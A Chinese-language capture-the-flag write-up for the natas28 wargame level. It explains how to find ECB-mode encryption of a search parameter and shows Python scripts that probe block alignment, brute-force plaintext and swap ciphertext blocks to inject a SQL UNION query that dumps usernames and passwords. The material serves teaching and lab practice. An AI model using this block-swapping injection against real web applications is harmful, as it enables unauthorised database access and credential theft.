natas28是一道有意思的题目,花了些时间和精力,做下笔记好以后回顾。

search查询的时候发现结果跳转到search.php页面,参数值为base64编码串。

1
search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPLP9baIk2Ue8NLFHkisvCsovfoQVOxoUVz5bypVRFkZR5BPSyq%2FLC12hqpypTFRyXA%3D

修改query参数,页面返回不一样的内容Incorrect amount of PKCS#7 padding for blocksize,可以知道加密过程将明文分组,当分组不满16个字节时填充。根据对密文分析,blockseze大小为16字节。由于不同块不相互影响,加密模式为ECB(电码本模式)。可编写脚本构造输入判断明文对密文的影响:

1
2
3
4
5
for i in range(1,15):
r = requests.Session()
resp = r.post(url+"/index.php", auth=auth, data={"query":'a'*i})
code = base64.b64decode(unquote(resp.url.split("query=")[1])).hex()
print(str(i)+ ":"+str(len(code))+":"+ code)

部分结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2ab880a8f136fbeb98967891324a1b075bdfa1054ec68515cf96f2a5544591947904f4b2abf2c2d7686aa72a53151c970
2:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2b130a531bec89c705213bfa5c9667ac748799a07b1d29b5982015c9355c2e00eaded9bdbaca6a73b71b35a010d2c4c57
3:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf22f5293a63acb9fe8c7b4e824b76d6a1d9a2e2b5db6f31f19a14f75678eadaa904249b93e4dea0909479995b9c44b351a
4:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf23504a9a9675ffd614b4f1f90d284fcaa29287f3cc5479e12e66f31c863b1804756d5732dc8c770f64397158bc17a6e66
5:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2c36a1f0469158a3052166146a5e3f2ecac3b871c1c448386b45cd36d9e8f72f4655149bbba2123d89d95417ea27f3a7b
6:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf24a11ffe73afd15daa05eb3c3486dcde141c098c4bacdc5ed9357564e5105dd7e64d0dcc868253692adfcbd3796d1bf8a
7:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf29fde1cef6e3f84a172633f3074fc8e186486954aea46fb93e9ab85845b4f4bd0d7ff2b725453fc294701e51f5d7c0f8e
8:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2453e0020602f4dccd50f0eb7709477c2896de90884f86108b167f8b4aea5d763917232051483e68e458fd066167b30a3
9:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf29e622686a52640595706099abcb052bba09522f301cf9d36ac7023f165948c5a9739cd90522fa7a86f95773b56f9f8c0
10:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2c0872dee8bc90b1156913b08a223a39e738a5ffb4a4500246775175ae596bbd6f34df339c69edce11f6650bbced62702
11:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2c0872dee8bc90b1156913b08a223a39eb4eda087d3c0bea2bedc1b6140b9e2ebca8cf4e610913abae39a067619204a5a
12:160:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2c0872dee8bc90b1156913b08a223a39ece82a9553b65b81280fb6d3bf2900f4775fd5044fd063d26f6bb7f734b41c899
13:192:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2c0872dee8bc90b1156913b08a223a39e1f74714d76fcc5d464c6a221e6ed98e46223a14d9c4291b98775b03fbc73d4edd8ae51d7da71b2b083d919a0d7b88b98
14:192:1be82511a7ba5bfd578c0eef466db59cdc84728fdcf89d93751d10a7c75c8cf2c0872dee8bc90b1156913b08a223a39eecd36f8fd9164d403540e449707d27e54257a343daadaaf2c0e3a1d71ce03dd17b7baca655f298a321e90e3f7a60d4d8

前32字节内容都是不变的,且当我们的输入内容长度小于12的时候分组的数量是不变的,我们可以截取第三个16字节分组查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1 :ab880a8f136fbeb98967891324a1b075
2 :b130a531bec89c705213bfa5c9667ac7
3 :2f5293a63acb9fe8c7b4e824b76d6a1d
4 :3504a9a9675ffd614b4f1f90d284fcaa
5 :c36a1f0469158a3052166146a5e3f2ec
6 :4a11ffe73afd15daa05eb3c3486dcde1
7 :9fde1cef6e3f84a172633f3074fc8e18
8 :453e0020602f4dccd50f0eb7709477c2
9 :9e622686a52640595706099abcb052bb
10:c0872dee8bc90b1156913b08a223a39e
11:c0872dee8bc90b1156913b08a223a39e
12:c0872dee8bc90b1156913b08a223a39e
13:c0872dee8bc90b1156913b08a223a39e
14:c0872dee8bc90b1156913b08a223a39e
15:c0872dee8bc90b1156913b08a223a39e
16:c0872dee8bc90b1156913b08a223a39e
17:c0872dee8bc90b1156913b08a223a39e
18:c0872dee8bc90b1156913b08a223a39e
19:c0872dee8bc90b1156913b08a223a39e

当输入长度从10开始,第三分组加密结果就不改变了,因此我们可以推测从第三分组明文的形式为(a为我们的输入,x为明文固定字符,b为填充字符):

输入9个字符:xxxxxxaaaaaaaaax xxxxxxxxxxxxxxxx xxxxxxxxxxxxxbbb

输入10个字符:xxxxxxaaaaaaaaaa xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxbb

输入12个字符:xxxxxxaaaaaaaaaa aaxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx

输入16个字符:xxxxxxaaaaaaaaaa aaaaaaxxxxxxxxxx xxxxxxxxxxxxxxxx xxxxbbbbbbbbbbb

由于部分明文可控,通过暴力第三分组的最后一个字符,我们可以得知我们输入后的跟第一个x的明文内容:

9e622686a52640595706099abcb052bb==encrypt(xxxxxxaaaaaaaaax)== encrypt(xxxxxxaaaaaaaaaA)

1
2
3
4
5
6
7
8
seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+=-"
for i in seed:
r = requests.Session()
resp = r.post(url+"/index.php", auth=auth, data={"query":'a'*9+i})
code = base64.b64decode(unquote(resp.url.split("query=")[1])).hex()[64:96]
print("{0}:{1}".format(i,code))
if code == "9e622686a52640595706099abcb052bb":
print(i)

得到输入明文后跟着第一个字符为”%“,可推测出明文大概类似 like ’%input%‘,明文内容为SQL查询语句。通过比较单引号和反斜杠的加密值,单引号被转义,所以我们需要构造密文进行SQL注入。

有两种方法可注入SQL语句

  • 将SQL语句加密块放到单引号后面
  • 替换反斜杠或者在二者之间插入数据,使单引号生效

利用第二种方法,这样我们构造的输入就为:

query=aaaaaaaaa’ union select xx from xxx #

第十个字符为单引号时,第四组密文就为没有转义单引号的注入语句。

xxxxxxaaaaaaaaa\ ‘aaaa#xxxxxxxxxx xxxxxxxxxxxxxxxx xxx…

将第三组密文替换为前面xxxxxxaaaaaaaaaa的密文,即c0872dee8bc90b1156913b08a223a39e

1
2
3
4
5
6
sql = "' union all select concat(username,0x3a,password) from users #"
resp = r.post(url+"/index.php", auth=auth, data={"query":'a'*9+sql})
code = base64.b64decode(unquote(resp.url.split("query=")[1]))
code_sql = code[:32] +bytes.fromhex("c0872dee8bc90b1156913b08a223a39e")+ code[48:]
resp = r.get(url+'/search.php/', auth=auth, params={"query":base64.b64encode(code_sql)})
print(resp.content)

参考链接:

http://alkalinesecurity.com/blog/ctf-writeups/natas-28-getting-it-wrong/